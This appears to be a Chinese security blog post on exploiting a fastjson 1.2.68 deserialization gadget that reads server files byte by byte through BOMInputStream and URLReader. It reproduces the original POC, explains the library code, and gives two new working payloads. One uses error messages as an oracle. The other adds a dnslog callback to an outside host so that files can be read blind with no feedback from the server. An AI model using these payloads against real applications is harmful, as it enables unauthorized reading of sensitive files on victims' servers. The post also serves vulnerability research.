fastjson 读文件 gadget 的利用场景扩展

前言

一年过去了发现博客只写过两篇文章,没别的原因就是因为懒,朋友说要监督我一周写一篇文章,写不出来就请客,现在期限将至,所以才有了这篇文章。

正好最近朋友有遇到一个存在 fastjson 1.2.68 漏洞,但无法做到读文件的场景,经过研究后搞定了。所以打算先拿这个主题糊弄一下本周的文章。

主题

此前有师傅在 blackhat 的 fastjson 议题上分享了 1.2.68 版本的几个 gadget。其中比较有意思的一个是用来读文件的。我要写的内容是以这个 gadget 作为基础的,所以先讲一下这个 gadget。

1638628407313.jpg

原POC

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          ...
        ]
      }
    ]
  },
  "address" : {"$ref":"$.abc.BOM"}
}

只需要跟进到代码里看一下就知道为什么可以读文件了。

首先从 org.apache.commons.io.input.BOMInputStream 开始看。

public BOMInputStream(InputStream delegate, boolean include, ByteOrderMark... boms)

BOMInputStream 的构造方法可以传递一个 InputStream 类型的 delegate 和 ByteOrderMark 数组 boms。

"address" : {"$ref":"$.abc.BOM"}

这一段是用了 fastjson 的 JSONPath 引用特性,通俗的讲就是去调用 JSON 对象中 abc 的 bom 属性,这里 abc 是被实例化的 BOMInputStream 对象。所以调用的就自然是 BOMInputStream 类的 getBom 成员方法。

    public ByteOrderMark getBOM() throws IOException {
        if (this.firstBytes == null) {
            this.fbLength = 0;
            int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();
            this.firstBytes = new int[maxBomSize];

            for(int i = 0; i < this.firstBytes.length; ++i) {
                this.firstBytes[i] = this.in.read(); // 从 delegate 输入流从取出所有字节,组成一个 int 数组
                ++this.fbLength;
                if (this.firstBytes[i] < 0) {
                    break;
                }
            }

            this.byteOrderMark = this.find(); // 开始把实例化对象时传入的 ByteOrderMark 数组 boms 和从 delegate 输入流从取出所有字节组成的int数组进行比对。
            if (this.byteOrderMark != null && !this.include) {
                if (this.byteOrderMark.length() < this.firstBytes.length) {
                    this.fbIndex = this.byteOrderMark.length();
                } else {
                    this.fbLength = 0;
                }
            }
        }

        return this.byteOrderMark; //返回 byteOrderMark
    }
    private ByteOrderMark find() {
        Iterator var1 = this.boms.iterator();

        ByteOrderMark bom;
        do {
            if (!var1.hasNext()) {
                return null;
            }

            bom = (ByteOrderMark)var1.next();
        } while(!this.matches(bom));

        return bom;
    }
    private boolean matches(ByteOrderMark bom) {
        for(int i = 0; i < bom.length(); ++i) {
            if (bom.get(i) != this.firstBytes[i]) {
                return false;
            }
        }

        return true;
    }

根据这 getBom 方法的代码来看,它就是先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取 成功的标志应该是 getBom 返回结果不为 null。

回到前面,再跟进一下 delegate

public ReaderInputStream(Reader reader, CharsetEncoder encoder, int bufferSize)

一个很普通的 Reader 转 InputStream。

最后是 jdk.nashorn.api.scripting.URLReader

public URLReader(URL url)
可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。

根据上面的几个类的代码来看就搞清楚了字节码比对是怎么一回事。

这里所指的读文件不是那种直接回显的读,而是像盲注一样挨个字节的读。

示例

1638630080578.jpg

正常读文件时如果字节码比对正确了(因为要读的文件第一个字母是b,转成int就是98,我在boms传入的bytes第一个就是98,所以比对正确),他是会返回一个 ByteOrderMark 对象的。

如果 getBom 方法比对字节码失败了,他的值就会是 null。

场景延伸

然后再来分析一下它的适用场景,因为 getBom 返回的内容只能够是 ByteOrderMark 对象或者 null。所以它的适用场景有限。

举个例子:

有一个修改用户昵称的功能,使用了 fastjson 解析,取出 nickname 属性更新到数据库。我把 getBom 的值引用到 nickname 属性里。修改成功后如果返回查看 nickname 是空或者null那就代表字节码比对错误,如果是 ByteOrderMark[...] 那就说名比对成功。
另外一个
有一个修改用户昵称的功能,使用了 fastjson 解析,取出 nickname 属性,会先进行一次空字符判断,如果是空字符则直接返回错误提示信息,反之才更新到数据库并返回成功提示信息。我把 getBom 的值引用到 nickname 属性里。如果返回的提示信息是错误的那说明 getBom 返回的是 null 也就是字节码比对错误,如果返回提示信息是正确的,那说明 getBom 返回的是 ByteOrderMark 对象也就是字节码比对正确。

但还有一种比较常见的场景,在这个 payload 下就不适用。
例如

有一个接口使用了 fastjson 解析 json,获取了某个属性,代码中对这个属性的格式做了严格校验,或者不会调用 json 对象里的任何属性。所以我们无法从这个接口的响应得知 getBom 返回的到底是什么。不过这个接口如果在用 fastjson 解析 JSON 的过程中抛出了异常它就会输出到响应。

这就是我前面遇到的场景,所以我想了个办法,只要让传入参数时对象类型不匹配,fastjson 自身就会抛出一个异常,如果是 null 的话就不会抛出异常。

所以可以根据返回的异常提示信息情况来判断字节码比对是否正确,如果返回了异常那就说明比对正确,如果返回了正常那就说明比对失败了。

以此为基础我找到了一个合适的类,并构造出了这样一条 payload。

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/test"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          98
        ]
      }
    ]
  },
  "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}
}

1638636620665.jpg

当我的字节码比对正确时他就会因为类型不一致报错,但如果字节码比对错误 getBom 返回的是 null,fastjson 就不会抛出异常。

当然这样也是没法覆盖所有场景的,我再举一个激进的例子。

有一个接口,用 fastjson 解析了 JSON,但不会反馈任何能够作为状态判断的标识,连异常报错的信息都没有。

我针对这样的场景也找到了一个利用的方法。

根据我对 fastjson 的了解,当解析 JSON 时抛出了异常,是会影响到后面的 JSON 解析的。

所以我只要再加一段 dnslog 得 payload 就可以了。

当 getBom 字节码比对正确时就会抛出异常,从而影响到后面的 JSON 解析,也就不会进行URL连接。

当 getBom 字节码比对错误时 JSON 就会正常解析,也就不影响后面的 URL 连接。

参考 POC

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/test"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          98
        ]
      }
    ]
  },
  "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader",
              "charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},
  "xxx": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "http://aaaxasd.g2pbiw.dnslog.cn/"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },
      "boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]
  },
  "zzz":{"$ref":"$.xxx.BOM[0]"}
}

1638639384580.jpg

如图,当 getBom 字节码比对正确由于类型不符抛出异常,导致后面的 dnslog 没有发出去,可以通过这个 dnslog 没有收到来作为成功的标识。

1638639152314.jpg

当 getBom 字节码比对错误,返回的是 null 没有抛出异常,也不影响后面的 dnslog 的JSON解析,所以如果 dnslog 收到了那就要作为失败的标识。

总结

没有总结,这周的文章水完了。

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。